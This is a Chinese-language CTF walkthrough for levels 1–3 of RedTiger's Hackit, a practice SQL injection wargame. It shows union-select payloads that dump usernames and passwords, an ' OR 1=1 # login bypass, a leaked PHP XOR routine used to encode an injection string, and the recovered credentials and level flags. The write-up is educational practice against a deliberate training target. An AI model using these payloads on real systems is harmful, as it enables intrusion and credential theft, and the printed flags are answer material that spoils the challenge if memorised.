本文相关的ctf平台链接:RedTiger's Hackit (overthewire.org)
level 1
这里有个1可以点,先尝试点一下
因为这题是sql注入,cat应该就是注入点了
先判断注入类型
?cat=1 and 1=1
?cat=1 and 1=2
数字型注入
再判断列数
1 order by 4 --+
接下来判断数据显示点
?cat=1 union select 1,2,3,4 from level1_users --+
这里可以直接爆破用户名和密码(之前还一步步走,但发现不通)
?cat=1 union select 1,2,username,password from level1_users --+
Hornoxe
thatwaseasy
完成
passwords_will_change_over_time_let_us_do_a_shitty_rhyme
level 2
万能密码秒了
1
' OR 1=1 #
//这里--+无法成功
feed_the_cat_who_eats_your_bread
level 3
开始没什么思路,就开始瞎传了,没想到发现路径了
?usr[]=0
访问/urlcrypt.inc
源代码:
<?php// warning! ugly code ahead :)// requires php5.x, sorry for thatfunction encrypt($str){$cryptedstr = "";srand(3284724);for ($i =0; $i < strlen($str); $i++){$temp = ord(substr($str,$i,1)) ^ rand(0, 255);while(strlen($temp)<3){$temp = "0".$temp;}$cryptedstr .= $temp. "";}return base64_encode($cryptedstr);}function decrypt ($str){srand(3284724);if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)){$str = base64_decode($str);if ($str != "" && $str != null && $str != false){$decStr = "";for ($i=0; $i < strlen($str); $i+=3){$array[$i/3] = substr($str,$i,3);}foreach($array as $s){$a = $s ^ rand(0, 255);$decStr .= chr($a);}return $decStr;}return false;}return false;}
?>
encrypt
函数接受一个字符串作为参数,然后对该字符串进行加密。它将字符串中的每个字符与一个随机生成的 0 到 255 之间的整数进行异或操作,然后将结果转换为三位的字符串。最后,将所有加密后的字符串连接起来,然后进行 Base64 编码,返回加密后的结果。
decrypt
函数接受一个经过加密的字符串作为参数,然后对其进行解密。首先,它会检查字符串是否符合 Base64 编码的格式。如果符合,就对字符串进行解码。然后,它将解码后的字符串每三个字符切割成一个数组元素。接着,对数组中的每个元素执行异或操作,与之前加密时使用的相同随机数进行异或,然后将结果转换为字符,并连接起来,得到解密后的结果。
直接写sql注入然后加密再传过去就可以了
这里window解码会乱码,linux可以但是8.2版本的太高了
所以就直接给答案了
参考writeup--RedTiger's Hackit-CSDN博客
?str=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw
admin
thisisaverysecurepasswordEEE5rt
put_the_kitten_on_your_head
未完待续!!!